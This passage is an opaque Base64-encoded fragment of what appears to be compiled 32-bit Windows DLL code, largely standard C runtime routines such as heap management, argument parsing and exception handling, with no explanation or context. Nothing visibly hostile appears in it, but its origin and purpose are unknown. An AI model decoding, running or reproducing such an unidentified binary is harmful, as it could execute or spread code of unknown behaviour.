+///AQAAAOnBBAAAg434+///QMeF5Pv//woAAAD3hfj7//8AgAAAD4SrAQAAA96LQ/iLU/zp5wEAAHUSZoP5Z3Vjx4X0+///AQAAAOtXOYX0+///fgaJhfT7//+BvfT7//+jAAAAfj2LvfT7//+Bx10BAABX6PEEAABZi43k+///iYWo+///hcB0EImF8Pv//4m97Pv//4vw6wrHhfT7//+jAAAAiwODwwiJhZT7//+LQ/yJhZj7//+NhbT7//9Q/7Wk+///D77B/7X0+///iZ3o+///UP+17Pv//42FlPv//1ZQ/zVAXQEQ6Kbk//9Z/9CLnfj7//+DxByB44AAAAB0IYO99Pv//wB1GI2FtPv//1BW/zVMXQEQ6Hbk//9Z/9BZWWaDveT7//9ndRyF23UYjYW0+///UFb/NUhdARDoUOT//1n/0FlZgD4tdRGBjfj7//8AAQAARom18Pv//1bpCP7//4m19Pv//8eFrPv//wcAAADrJIPocw+Eavz//yvCD4SK/v//g+gDD4XJAQAAx4Ws+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Rq/v//ajBYZomF0Pv//4uFrPv//4PAUWaJhdL7//+Jldz7///pRf7///eF+Pv//wAQAAAPhUX+//+DwwT2hfj7//8gdBz2hfj7//9AiZ3o+///dAYPv0P86wQPt0P8mesX9oX4+///QItD/HQDmesCM9KJnej7///2hfj7//9AdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+j3QQAAg8Ewg/k5iZ2Q+///i/iL2n4GA42s+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dFmFwHQHi86AOTB0Tv+N8Pv//4uN8Pv//8YBMEDrNoXbdQuhJF0BEImF8Pv//4uF8Pv//8eF2Pv//wEAAADrCU9mgzgAdAYDwoX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhWUBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFhmiYXQ+///x4Xc+///AQAAAIud1Pv//4u17Pv//yveK53c+///9oX4+///DHUX/7XE+///jYXg+///U2og6Orp//+DxAz/tdz7//+LvcT7//+NheD7//+NjdD7///o8en///aF+Pv//whZdBv2hfj7//8EdRJXU2owjYXg+///6Kjp//+DxAyDvdj7//8AdXWF9n5xi73w+///ibXk+////43k+///jYW0+///UIuFtPv///+wrAAAAI2FnPv//1dQ6DY/AACDxBCJhZD7//+FwH4p/7Wc+///i4XE+///jbXg+///6BPp//8DvZD7//+DveT7//8AWX+m6xyDjeD7////6xOLjfD7//9WjYXg+///6Dzp//9Zg73g+///AHwg9oX4+///BHQX/7XE+///jYXg+///U2og6O7o//+DxAyDvaj7//8AdBP/taj7///omsr//4OlqPv//wBZi72g+///i53o+///D7cHM/aJheT7//9mO8Z0B4vI6aH1//85tcz7//90DYO9zPv//wcPhVD1//+AvcD7//8AdAqLhbz7//+DYHD9i4Xg+///i038X14zzVvoyMH//8nDi/9gcwAQWHEAEIpxABDlcQAQMXIAED1yABCDcgAQgnMAEIv/VYvsVlcz9v91COi5IAAAi/hZhf91JzkFaGMBEHYfVv8VsAABEI2G6AMAADsFaGMBEHYDg8j/i/CD+P91yovHX15dw4v/VYvsVlcz9moA/3UM/3UI6Io/AACL+IPEDIX/dSc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcOLx19eXcOL/1WL7FZXM/b/dQz/dQjoXkAAAIv4WVmF/3UsOUUMdCc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcGLx19eXcOL/1WL7Fe/6AMAAFf/FbAAARD/dQj/FZQAARCBx+gDAACB/2DqAAB3BIXAdN5fXcOL/1WL7OiwQwAA/3UI6P1BAAD/NRBYARDo/t7//2j/AAAA/9CDxAxdw4v/VYvsaBwDARD/FZQAARCFwHQVaAwDARBQ/xWYAAEQhcB0Bf91CP/QXcOL/1WL7P91COjI////Wf91CP8VtAABEMxqCOj0DwAAWcNqCOgRDwAAWcOL/1WL7FaL8OsLiwaFwHQC/9CDxgQ7dQhy8F5dw4v/VYvsVot1CDPA6w+FwHUQiw6FyXQC/9GDxgQ7dQxy7F5dw4v/VYvsgz0wfAEQAHQZaDB8ARDoukMAAFmFwHQK/3UI/xUwfAEQWejsOwAAaLABARBonAEBEOih////WVmFwHVCaNSGABDoBiMAALiIAQEQxwQkmAEBEOhj////gz00fAEQAFl0G2g0fAEQ6GJDAABZhcB0DGoAagJqAP8VNHwBEDPAXcNqGGiIMAEQ6BELAABqCOgQDwAAWYNl/AAz20M5HZxjARAPhMUAAACJHZhjARCKRRCilGMBEIN9DAAPhZ0AAAD/NSh8ARDojd3//1mL+Il92IX/dHj/NSR8ARDoeN3//1mL8Il13Il95Il14IPuBIl13Dv3clfoVN3//zkGdO0793JK/zboTt3//4v46D7d//+JBv/X/zUofAEQ6Djd//+L+P81JHwBEOgr3f//g8QMOX3kdQU5ReB0Dol95Il92IlF4IvwiXXci33Y659owAEBELi0AQEQ6F/+//9ZaMgBARC4xAEBEOhP/v//WcdF/P7////oHwAAAIN9EAB1KIkdnGMBEGoI6D4NAABZ/3UI6Pz9//8z20ODfRAAdAhqCOglDQAAWcPoNwoAAMOL/1WL7GoAagH/dQjow/7//4PEDF3DagFqAGoA6LP+//+DxAzDi/9W6HXc//+L8FbogiEAAFboaEUAAFboxcr//1boTUUAAFboOEUAAFboIEMAAFboFggAAFboA0MAAGgvfwAQ6Mfb//+DxCSjEFgBEF7DalRoqDABEOhyCQAAM/+JffyNRZxQ/xVMAAEQx0X8/v///2pAaiBeVugm/P//WVk7xw+EFAIAAKMgewEQiTUIewEQjYgACAAA6zDGQAQAgwj/xkAFCol4CMZAJADGQCUKxkAmCol4OMZANACDwECLDSB7ARCBwQAIAAA7wXLMZjl9zg+ECgEAAItF0DvHD4T/AAAAiziNWASNBDuJReS+AAgAADv+fAKL/sdF4AEAAADrW2pAaiDomPv//1lZhcB0VotN4I0MjSB7ARCJAYMFCHsBECCNkAAIAADrKsZABACDCP/GQAUKg2AIAIBgJIDGQCUKxkAmCoNgOADGQDQAg8BAixED1jvCctL/ReA5PQh7ARB8nesGiz0IewEQg2XgAIX/fm2LReSLCIP5/3RWg/n+dFGKA6gBdEuoCHULUf8VwAABEIXAdDyLdeCLxsH4BYPmH8HmBgM0hSB7ARCLReSLAIkGigOIRgRooA8AAI1GDFDox0MAAFlZhcAPhMkAAAD/Rgj/ReBDg0XkBDl94HyTM9uL88HmBgM1IHsBEIsGg/j/dAuD+P50BoBOBIDrcsZGBIGF23UFavZY6wqLw0j32BvAg8D1UP8VvAABEIv4g///dEOF/3Q/V/8VwAABEIXAdDSJPiX/AAAAg/gCdQaATgRA6wmD+AN1BIBOBAhooA8AAI1GDFDoMUMAAFlZhcB0N/9GCOsKgE4EQMcG/v///0OD+wMPjGf/////NQh7ARD/FbgAARAzwOsRM8BAw4tl6MdF/P7///+DyP/ocAcAAMOL/1ZXviB7ARCLPoX/dDGNhwAIAADrGoN/CAB0Co1HDFD/FcgAARCLBoPHQAUACAAAO/hy4v826I7D//+DJgBZg8YEgf4gfAEQfL5fXsODPSx8ARAAdQXoytX//1aLNcRfARBXM/+F9nUYg8j/6aAAAAA8PXQBR1boLRkAAFmNdAYBigaEwHXqagRHV+hu+f//i/hZWYk9fGMBEIX/dMuLNcRfARBT60JW6PwYAACL2EOAPj1ZdDFqAVPoQPn//1lZiQeFwHROVlNQ6GcYAACDxAyFwHQPM8BQUFBQUOhsx///g8QUg8cEA/OAPgB1uf81xF8BEOjQwv//gyXEXwEQAIMnAMcFIHwBEAEAAAAzwFlbX17D/zV8YwEQ6KrC//+DJXxjARAAg8j/6+SL/1WL7FGLTRBTM8BWiQeL8otVDMcBAQAAADlFCHQJi10Ig0UIBIkTiUX8gD4idRAzwDlF/LMiD5TARolF/Os8/weF0nQIigaIAkKJVQyKHg+2w1BG6BhCAABZhcB0E/8Hg30MAHQKi00Migb/RQyIAUaLVQyLTRCE23Qyg338AHWpgPsgdAWA+wl1n4XSdATGQv8Ag2X8AIA+AA+E6QAAAIoGPCB0BDwJdQZG6/NO6+OAPgAPhNAAAACDfQgAdAmLRQiDRQgEiRD/ATPbQzPJ6wJGQYA+XHT5gD4idSb2wQF1H4N9/AB0DI1GAYA4InUEi/DrDTPAM9s5RfwPlMCJRfzR6YXJdBJJhdJ0BMYCXEL/B4XJdfGJVQyKBoTAdFWDffwAdQg8IHRLPAl0R4XbdD0PvsBQhdJ0I+gzQQAAWYXAdA2KBotNDP9FDIgBRv8Hi00Migb/RQyIAesN6BBBAABZhcB0A0b/B/8Hi1UMRulW////hdJ0B8YCAEKJVQz/B4tNEOkO////i0UIXluFwHQDgyAA/wHJw4v/VYvsg+wMUzPbVlc5HSx8ARB1BehG0///aAQBAAC+oGMBEFZTiB2kZAEQ/xXMAAEQoTh8ARCJNYxjARA7w3QHiUX8OBh1A4l1/ItV/I1F+FBTU4199OgK/v//i0X4g8QMPf///z9zSotN9IP5/3NCi/jB5wKNBA87wXI2UOhx9v//i/BZO/N0KYtV/I1F+FAD/ldWjX306Mn9//+LRfiDxAxIo3BjARCJNXRjARAzwOsDg8j/X15bycOL/1WL7KGoZAEQg+wMU1aLNeAAARBXM9sz/zvDdS7/1ov4O/t0DMcFqGQBEAEAAADrI/8VHAABEIP4eHUKagJYo6hkARDrBaGoZAEQg/gBD4WBAAAAO/t1D//Wi/g7+3UHM8DpygAAAIvHZjkfdA5AQGY5GHX5QEBmORh18os13AABEFNTUyvHU9H4QFBXU1OJRfT/1olF+DvDdC9Q6Jf1//9ZiUX8O8N0IVNT/3X4UP919FdTU//WhcB1DP91/OiFv///WYld/Itd/Ff/FdgAARCLw+tcg/gCdAQ7w3WC/xXUAAEQi/A78w+Ecv///zgedApAOBh1+0A4GHX2K8ZAUIlF+Ogw9f//i/hZO/t1DFb/FdAAARDpRf////91+FZX6DPA//+DxAxW/xXQAAEQi8dfXlvJw4v/VrgYLwEQvhgvARBXi/g7xnMPiweFwHQC/9CDxwQ7/nLxX17Di/9WuCAvARC+IC8BEFeL+DvGcw+LB4XAdAL/0IPHBDv+cvFfXsOL/1WL7DPAOUUIagAPlMBoABAAAFD/FeQAARCjrGQBEIXAdQJdwzPAQKMEewEQXcODPQR7ARADdVdTM9s5Heh6ARBXiz14AAEQfjNWizXsegEQg8YQaACAAABqAP92/P8V7AABEP82agD/NaxkARD/14PGFEM7Heh6ARB82F7/Nex6ARBqAP81rGQBEP/XX1v/NaxkARD/FegAARCDJaxkARAAw8OL/1WL7FFRVugB1v//i/CF9g+ERgEAAItWXKFoWAEQV4t9CIvKUzk5dA6L2GvbDIPBDAPaO8ty7mvADAPCO8hzCDk5dQSLwesCM8CFwHQKi1gIiV38hdt1BzPA6fsAAACD+wV1DINgCAAzwEDp6gAAAIP7AQ+E3gAAAItOYIlN+ItNDIlOYItIBIP5CA+FuAAAAIsNXFgBEIs9YFgBEIvRA/k7130ka8kMi35cg2Q5CACLPVxYARCLHWBYARBCA9+DwQw703zii138iwCLfmQ9jgAAwHUJx0ZkgwAAAOtePZAAAMB1CcdGZIEAAADrTj2RAADAdQnHRmSEAAAA6z49kwAAwHUJx0ZkhQAAAOsuPY0AAMB1CcdGZIIAAADrHj2PAADAdQnHRmSGAAAA6w49kgAAwHUHx0ZkigAAAP92ZGoI/9NZiX5k6weDYAgAUf/Ti0X4WYlGYIPI/1tfXsnDi/9Vi+y4Y3Nt4DlFCHUN/3UMUOiI/v//WVldwzPAXcPMaICJABBk/zUAAAAAi0QkEIlsJBCNbCQQK+BTVlehHFABEDFF/DPFUIll6P91+ItF/MdF/P7///+JRfiNRfBkowAAAADDi03wZIkNAAAAAFlfX15bi+VdUcPMzMzMzMzMi/9Vi+yD7BhTi10MVotzCDM1HFABEFeLBsZF/wDHRfQBAAAAjXsQg/j+dA2LTgQDzzMMOOibs///i04Mi0YIA88zDDjoi7P//4tFCPZABGYPhRYBAACLTRCNVeiJU/yLWwyJReiJTeyD+/50X41JAI0EW4tMhhSNRIYQiUXwiwCJRfiFyXQUi9foKBQAAMZF/wGFwHxAf0eLRfiL2IP4/nXOgH3/AHQkiwaD+P50DYtOBAPPMww46Biz//+LTgyLVggDzzMMOugIs///i0X0X15bi+Vdw8dF9AAAAADryYtNCIE5Y3Nt4HUpgz3QLAEQAHQgaNAsARDo0zYAAIPEBIXAdA+LVQhqAVL/FdAsARCDxAiLTQzoyxMAAItFDDlYDHQSaBxQARBXi9OLyOjOEwAAi0UMi034iUgMiwaD+P50DYtOBAPPMww46IWy//+LTgyLVggDzzMMOuh1sv//i0Xwi0gIi9foYRMAALr+////OVMMD4RS////aBxQARBXi8voeRMAAOkc////i/9Vi+yD7BChHFABEINl+ACDZfwAU1e/TuZAu7sAAP//O8d0DYXDdAn30KMgUAEQ62BWjUX4UP8V/AABEIt1/DN1+P8V+AABEDPw/xVcAAEQM/D/FfQAARAz8I1F8FD/FfAAARCLRfQzRfAz8Dv3dQe+T+ZAu+sLhfN1B4vGweAQC/CJNRxQARD31ok1IFABEF5fW8nDgyUAewEQAMOL/1ZXM/a/sGQBEIM89XRYARABdR6NBPVwWAEQiThooA8AAP8wg8cY6Ao5AABZWYXAdAxGg/4kfNIzwEBfXsODJPVwWAEQADPA6/GL/1OLHcgAARBWvnBYARBXiz6F/3QTg34EAXQNV//TV+imuf//gyYAWYPGCIH+kFkBEHzcvnBYARBfiwaFwHQJg34EAXUDUP/Tg8YIgf6QWQEQfOZeW8OL/1WL7ItFCP80xXBYARD/FQABARBdw2oMaMgwARDosfz//zP/R4l95DPbOR2sZAEQdRjo9TMAAGoe6EMyAABo/wAAAOh+8P//WVmLdQiNNPVwWAEQOR50BIvH625qGOgA7///WYv4O/t1D+gYv///xwAMAAAAM8DrUWoK6FkAAABZiV38OR51LGigDwAAV+gBOAAAWVmFwHUXV+jUuP//Wejivv//xwAMAAAAiV3k6wuJPusHV+i5uP//WcdF/P7////oCQAAAItF5OhJ/P//w2oK6Cj///9Zw4v/VYvsi0UIVo00xXBYARCDPgB1E1DoIv///1mFwHUIahHocu///1n/Nv8VBAEBEF5dw4v/VYvsiw3oegEQoex6ARBryRQDyOsRi1UIK1AMgfoAABAAcgmDwBQ7wXLrM8Bdw4v/VYvsg+wQi00Ii0EQVot1DFeL/it5DIPG/MHvD4vPackEAgAAjYwBRAEAAIlN8IsOSYlN/PbBAQ+F0wIAAFONHDGLE4lV9ItW/IlV+ItV9IldDPbCAXV0wfoESoP6P3YDaj9ai0sEO0sIdUK7AAAAgIP6IHMZi8rT641MAgT30yFcuET+CXUji00IIRnrHI1K4NPrjUwCBPfTIZy4xAAAAP4JdQaLTQghWQSLXQyLUwiLWwSLTfwDTfSJWgSLVQyLWgSLUgiJUwiJTfyL0cH6BEqD+j92A2o/Wotd+IPjAYld9A+FjwAAACt1+Itd+MH7BGo/iXUMS1473nYCi94DTfiL0cH6BEqJTfw71nYCi9Y72nRei00Mi3EEO3EIdTu+AAAAgIP7IHMXi8vT7vfWIXS4RP5MAwR1IYtNCCEx6xqNS+DT7vfWIbS4xAAAAP5MAwR1BotNCCFxBItNDItxCItJBIlOBItNDItxBItJCIlOCIt1DOsDi10Ig330AHUIO9oPhIAAAACLTfCNDNGLWQSJTgiJXgSJcQSLTgSJcQiLTgQ7Tgh1YIpMAgSITQ/+wYhMAgSD+iBzJYB9DwB1DovKuwAAAIDT64tNCAkZuwAAAICLytPrjUS4RAkY6ymAfQ8AdRCNSuC7AAAAgNPri00ICVkEjUrgugAAAIDT6o2EuMQAAAAJEItF/IkGiUQw/ItF8P8ID4XzAAAAoQBmARCFwA+E2AAAAIsN/HoBEIs17AABEGgAQAAAweEPA0gMuwCAAABTUf/Wiw38egEQoQBmARC6AAAAgNPqCVAIoQBmARCLQBCLDfx6ARCDpIjEAAAAAKEAZgEQi0AQ/khDoQBmARCLSBCAeUMAdQmDYAT+oQBmARCDeAj/dWVTagD/cAz/1qEAZgEQ/3AQagD/NaxkARD/FXgAARCLDeh6ARChAGYBEGvJFIsV7HoBECvIjUwR7FGNSBRRUOi2u///i0UIg8QM/w3oegEQOwUAZgEQdgSDbQgUoex6ARCj9HoBEItFCKMAZgEQiT38egEQW19eycOh+HoBEFaLNeh6ARBXM/878HU0g8AQa8AUUP817HoBEFf/NaxkARD/FRABARA7x3UEM8DreIMF+HoBEBCLNeh6ARCj7HoBEGv2FAM17HoBEGjEQQAAagj/NaxkARD/FQgBARCJRhA7x3THagRoACAAAGgAABAAV/8VDAEBEIlGDDvHdRL/dhBX/zWsZAEQ/xV4AAEQ65uDTgj/iT6JfgT/Beh6ARCLRhCDCP+Lxl9ew4v/VYvsUVGLTQiLQQhTVotxEFcz2+sDA8BDhcB9+YvDacAEAgAAjYQwRAEAAGo/iUX4WolACIlABIPACEp19GoEi/toABAAAMHnDwN5DGgAgAAAV/8VDAEBEIXAdQiDyP/pnQAAAI2XAHAAAIlV/Dv6d0OLyivPwekMjUcQQYNI+P+DiOwPAAD/jZD8DwAAiRCNkPzv///HQPzwDwAAiVAEx4DoDwAA8A8AAAUAEAAASXXLi1X8i0X4BfgBAACNTwyJSASJQQiNSgyJSAiJQQSDZJ5EADP/R4m8nsQAAACKRkOKyP7BhMCLRQiITkN1Awl4BLoAAACAi8vT6vfSIVAIi8NfXlvJw4v/VYvsg+wMi00Ii0EQU1aLdRBXi30Mi9crUQyDxhfB6g+LymnJBAIAAI2MAUQBAACJTfSLT/yD5vBJO/GNfDn8ix+JTRCJXfwPjlUBAAD2wwEPhUUBAAAD2TvzD487AQAAi038wfkESYlN+IP5P3YGaj9ZiU34i18EO18IdUO7AAAAgIP5IHMa0+uLTfiNTAEE99MhXJBE/gl1JotNCCEZ6x+DweDT64tN+I1MAQT30yGckMQAAAD+CXUGi00IIVkEi08Ii18EiVkEi08Ei38IiXkIi00QK84BTfyDffwAD46lAAAAi338i00Mwf8ET41MMfyD/z92A2o/X4td9I0c+4ldEItbBIlZBItdEIlZCIlLBItZBIlLCItZBDtZCHVXikwHBIhNE/7BiEwHBIP/IHMcgH0TAHUOi8+7AAAAgNPri00ICRmNRJBEi8/rIIB9EwB1EI1P4LsAAACA0+uLTQgJWQSNhJDEAAAAjU/gugAAAIDT6gkQi1UMi038jUQy/IkIiUwB/OsDi1UMjUYBiUL8iUQy+Ok8AQAAM8DpOAEAAA+NLwEAAItdDCl1EI1OAYlL/I1cM/yLdRDB/gROiV0MiUv8g/4/dgNqP172RfwBD4WAAAAAi3X8wf4EToP+P3YDaj9ei08EO08IdUK7AAAAgIP+IHMZi87T6410BgT30yFckET+DnUji00IIRnrHI1O4NPrjUwGBPfTIZyQxAAAAP4JdQaLTQghWQSLXQyLTwiLdwSJcQSLdwiLTwSJcQiLdRADdfyJdRDB/gROg/4/dgNqP16LTfSNDPGLeQSJSwiJewSJWQSLSwSJWQiLSwQ7Swh1V4pMBgSITQ/+wYhMBgSD/iBzHIB9DwB1DovOvwAAAIDT74tNCAk5jUSQRIvO6yCAfQ8AdRCNTuC/AAAAgNPvi00ICXkEjYSQxAAAAI1O4LoAAACA0+oJEItFEIkDiUQY/DPAQF9eW8nDi/9Vi+yD7BSh6HoBEItNCGvAFAMF7HoBEIPBF4Ph8IlN8MH5BFNJg/kgVld9C4PO/9Pug034/+sNg8Hgg8r/M/bT6olV+IsN9HoBEIvZ6xGLUwSLOyNV+CP+C9d1CoPDFIldCDvYcug72HV/ix3segEQ6xGLUwSLOyNV+CP+C9d1CoPDFIldCDvZcug72XVb6wyDewgAdQqDwxSJXQg72HLwO9h1MYsd7HoBEOsJg3sIAHUKg8MUiV0IO9ly8DvZdRXooPr//4vYiV0Ihdt1BzPA6QkCAABT6Dr7//9Zi0sQiQGLQxCDOP905Ykd9HoBEItDEIsQiVX8g/r/dBSLjJDEAAAAi3yQRCNN+CP+C891KYNl/ACLkMQAAACNSESLOSNV+CP+C9d1Dv9F/IuRhAAAAIPBBOvni1X8i8ppyQQCAACNjAFEAQAAiU30i0yQRDP/I851EouMkMQAAAAjTfhqIF/rAwPJR4XJffmLTfSLVPkEiworTfCL8cH+BE6D/j+JTfh+A2o/Xjv3D4QBAQAAi0oEO0oIdVyD/yC7AAAAgH0mi8/T64tN/I18OAT304ld7CNciESJXIhE/g91M4tN7ItdCCEL6yyNT+DT64tN/I2MiMQAAACNfDgE99MhGf4PiV3sdQuLXQiLTewhSwTrA4tdCIN9+ACLSgiLegSJeQSLSgSLegiJeQgPhI0AAACLTfSNDPGLeQSJSgiJegSJUQSLSgSJUQiLSgQ7Sgh1XopMBgSITQv+wYP+IIhMBgR9I4B9CwB1C78AAACAi87T7wk7i86/AAAAgNPvi038CXyIROspgH0LAHUNjU7gvwAAAIDT7wl7BItN/I28iMQAAACNTuC+AAAAgNPuCTeLTfiFyXQLiQqJTBH86wOLTfiLdfAD0Y1OAYkKiUwy/It19IsOjXkBiT6FyXUaOx0AZgEQdRKLTfw7Dfx6ARB1B4MlAGYBEACLTfyJCI1CBF9eW8nDVYvsg+wEiX38i30Ii00MwekHZg/vwOsIjaQkAAAAAJBmD38HZg9/RxBmD39HIGYPf0cwZg9/R0BmD39HUGYPf0dgZg9/R3CNv4AAAABJddCLffyL5V3DVYvsg+wQiX38i0UImYv4M/or+oPnDzP6K/qF/3U8i00Qi9GD4n+JVfQ7ynQSK8pRUOhz////g8QIi0UIi1X0hdJ0RQNFECvCiUX4M8CLffiLTfTzqotFCOsu99+DxxCJffAzwIt9CItN8POqi0Xwi00Ii1UQA8gr0FJqAFHofv///4PEDItFCIt9/IvlXcNqDGjoMAEQ6BHw//+DZfwAZg8owcdF5AEAAADrI4tF7IsAiwA9BQAAwHQKPR0AAMB0AzPAwzPAQMOLZeiDZeQAx0X8/v///4tF5OgT8P//w4v/VYvsg+wYM8BTiUX8iUX0iUX4U5xYi8g1AAAgAFCdnFor0XQfUZ0zwA+iiUX0iV3oiVXsiU3wuAEAAAAPoolV/IlF+Fv3RfwAAAAEdA7oXP///4XAdAUzwEDrAjPAW8nD6Jn///+j5HoBEDPAw1WL7IPsCIl9/Il1+It1DIt9CItNEMHpB+sGjZsAAAAAZg9vBmYPb04QZg9vViBmD29eMGYPfwdmD39PEGYPf1cgZg9/XzBmD29mQGYPb25QZg9vdmBmD29+cGYPf2dAZg9/b1BmD393YGYPf39wjbaAAAAAjb+AAAAASXWji3X4i338i+Vdw1WL7IPsHIl99Il1+Ild/ItdDIvDmYvIi0UIM8oryoPhDzPKK8qZi/gz+iv6g+cPM/or+ovRC9d1Sot1EIvOg+F/iU3oO/F0EyvxVlNQ6Cf///+DxAyLRQiLTeiFyXR3i10Qi1UMA9Mr0YlV7APYK9mJXfCLdeyLffCLTejzpItFCOtTO891NffZg8EQiU3ki3UMi30Ii03k86SLTQgDTeSLVQwDVeSLRRArReRQUlHoTP///4PEDItFCOsai3UMi30Ii00Qi9HB6QLzpYvKg+ED86SLRQiLXfyLdfiLffSL5V3Di/9Vi+yLTQhTM9tWVzvLdAeLfQw7+3cb6Iuw//9qFl6JMFNTU1NT6BSw//+DxBSLxuswi3UQO/N1BIgZ69qL0YoGiAJCRjrDdANPdfM7+3UQiBnoULD//2oiWYkIi/HrwTPAX15bXcPMzMzMzMzMzMzMzMyLTCQE98EDAAAAdCSKAYPBAYTAdE73wQMAAAB17wUAAAAAjaQkAAAAAI2kJAAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyLTCQEK8HDagxoCDEBEOjp7P//g2XkAIt1CDs18HoBEHciagTo2fD//1mDZfwAVujg+P//WYlF5MdF/P7////oCQAAAItF5Oj17P//w2oE6NTv//9Zw4v/VYvsVot1CIP+4A+HoQAAAFNXiz0IAQEQgz2sZAEQAHUY6NcjAABqHuglIgAAaP8AAADoYOD//1lZoQR7ARCD+AF1DoX2dASLxusDM8BAUOscg/gDdQtW6FP///9ZhcB1FoX2dQFGg8YPg+bwVmoA/zWsZAEQ/9eL2IXbdS5qDF45BZhpARB0Ff91COjpAwAAWYXAdA+LdQjpe////+i2rv//iTDor67//4kwX4vDW+sUVujCAwAAWeibrv//xwAMAAAAM8BeXcNTVleLVCQQi0QkFItMJBhVUlBRUWjUnQAQZP81AAAAAKEcUAEQM8SJRCQIZIklAAAAAItEJDCLWAiLTCQsMxmLcAyD/v50O4tUJDSD+v50BDvydi6NNHaNXLMQiwuJSAyDewQAdcxoAQEAAItDCOhaKQAAuQEAAACLQwjobCkAAOuwZI8FAAAAAIPEGF9eW8OLTCQE90EEBgAAALgBAAAAdDOLRCQIi0gIM8joYJ///1WLaBj/cAz/cBD/cBToPv///4PEDF2LRCQIi1QkEIkCuAMAAADDVYtMJAiLKf9xHP9xGP9xKOgV////g8QMXcIEAFVWV1OL6jPAM9sz0jP2M///0VtfXl3Di+qL8YvBagHotygAADPAM9szyTPSM///5lWL7FNWV2oAagBoe54AEFHoD0IAAF9eW13DVYtsJAhSUf90JBTotP7//4PEDF3CCACL/1WL7FOLXQhWV4v5xwfQCgEQiwOFwHQmUOjq/P//i/BGVui7/f//WVmJRwSFwHQS/zNWUOhb/P//g8QM6wSDZwQAx0cIAQAAAIvHX15bXcIEAIv/VYvsi8GLTQjHANAKARCLCYNgCACJSARdwggAi/9Vi+xTi10IVovxxwbQCgEQi0MIiUYIhcCLQwRXdDGFwHQnUOhv/P//i/hHV+hA/f//WVmJRgSFwHQY/3MEV1Do3/v//4PEDOsJg2YEAOsDiUYEX4vGXltdwgQAg3kIAMcB0AoBEHQJ/3EE6Eim//9Zw4tBBIXAdQW42AoBEMOL/1WL7FaL8ejQ////9kUIAXQHVujDnf//WYvGXl3CBACL/1WL7FFTVlf/NSh8ARDoHrz///81JHwBEIv4iX386A68//+L8FlZO/cPgoMAAACL3ivfjUMEg/gEcndX6EknAACL+I1DBFk7+HNIuAAIAAA7+HMCi8cDxzvHcg9Q/3X86DPc//9ZWYXAdRaNRxA7x3JAUP91/Ogd3P//WVmFwHQxwfsCUI00mOgpu///WaMofAEQ/3UI6Bu7//+JBoPGBFboELv//1mjJHwBEItFCFnrAjPAX15bycOL/1ZqBGog6Ifb//+L8Fbo6br//4PEDKMofAEQoyR8ARCF9nUFahhYXsODJgAzwF7DagxoKDEBEOiB6P//6Ifc//+DZfwA/3UI6Pj+//9ZiUXkx0X8/v///+gJAAAAi0Xk6J3o///D6Gbc///Di/9Vi+z/dQjot/////fYG8D32FlIXcOL/1WL7ItFCKNAZgEQXcOL/1WL7P81QGYBEOjVuv//WYXAdA//dQj/0FmFwHQFM8BAXcMzwF3Di/9Vi+yD7CCLRQhWV2oIWb7sCgEQjX3g86WJRfiLRQxfiUX8XoXAdAz2AAh0B8dF9ABAmQGNRfRQ/3Xw/3Xk/3Xg/xUYAQEQycIIAIv/VYvsi0UIhcB0EoPoCIE43d0AAHUHUOg6pP//WV3Di/9Vi+yD7BShHFABEDPFiUX8U1Yz21eL8TkdRGYBEHU4U1Mz/0dXaAwLARBoAAEAAFP/FSQBARCFwHQIiT1EZgEQ6xX/FRwAARCD+Hh1CscFRGYBEAIAAAA5XRR+IotNFItFEEk4GHQIQDvLdfaDyf+LRRQrwUg7RRR9AUCJRRShRGYBEIP4Ag+ErAEAADvDD4SkAQAAg/gBD4XMAQAAiV34OV0gdQiLBotABIlFIIs1IAEBEDPAOV0kU1P/dRQPlcD/dRCNBMUBAAAAUP91IP/Wi/g7+w+EjwEAAH5DauAz0lj394P4AnI3jUQ/CD0ABAAAdxPoXScAAIvEO8N0HMcAzMwAAOsRUOjj+f//WTvDdAnHAN3dAACDwAiJRfTrA4ld9Dld9A+EPgEAAFf/dfT/dRT/dRBqAf91IP/WhcAPhOMAAACLNSQBARBTU1f/dfT/dQz/dQj/1ovIiU34O8sPhMIAAAD3RQwABAAAdCk5XRwPhLAAAAA7TRwPj6cAAAD/dRz/dRhX/3X0/3UM/3UI/9bpkAAAADvLfkVq4DPSWPfxg/gCcjmNRAkIPQAEAAB3FuieJgAAi/Q783RqxwbMzAAAg8YI6xpQ6CH5//9ZO8N0CccA3d0AAIPACIvw6wIz9jvzdEH/dfhWV/919P91DP91CP8VJAEBEIXAdCJTUzldHHUEU1PrBv91HP91GP91+FZT/3Ug/xXcAAEQiUX4Vui4/f//Wf919Oiv/f//i0X4WelZAQAAiV30iV3wOV0IdQiLBotAFIlFCDldIHUIiwaLQASJRSD/dQjo6yMAAFmJReyD+P91BzPA6SEBAAA7RSAPhNsAAABTU41NFFH/dRBQ/3Ug6AkkAACDxBiJRfQ7w3TUizUcAQEQU1P/dRRQ/3UM/3UI/9aJRfg7w3UHM/bptwAAAH49g/jgdziDwAg9AAQAAHcW6IglAACL/Dv7dN3HB8zMAACDxwjrGlDoC/j//1k7w3QJxwDd3QAAg8AIi/jrAjP/O/t0tP91+FNX6L+h//+DxAz/dfhX/3UU/3X0/3UM/3UI/9aJRfg7w3UEM/brJf91HI1F+P91GFBX/3Ug/3Xs6FgjAACL8Il18IPEGPfeG/YjdfhX6I38//9Z6xr/dRz/dRj/dRT/dRD/dQz/dQj/FRwBARCL8Dld9HQJ/3X06Lqg//9Zi0XwO8N0DDlFGHQHUOinoP//WYvGjWXgX15bi038M83oKJj//8nDi/9Vi+yD7BD/dQiNTfDoM5r///91KI1N8P91JP91IP91HP91GP91FP91EP91DOgo/P//g8QggH38AHQHi034g2Fw/cnDi/9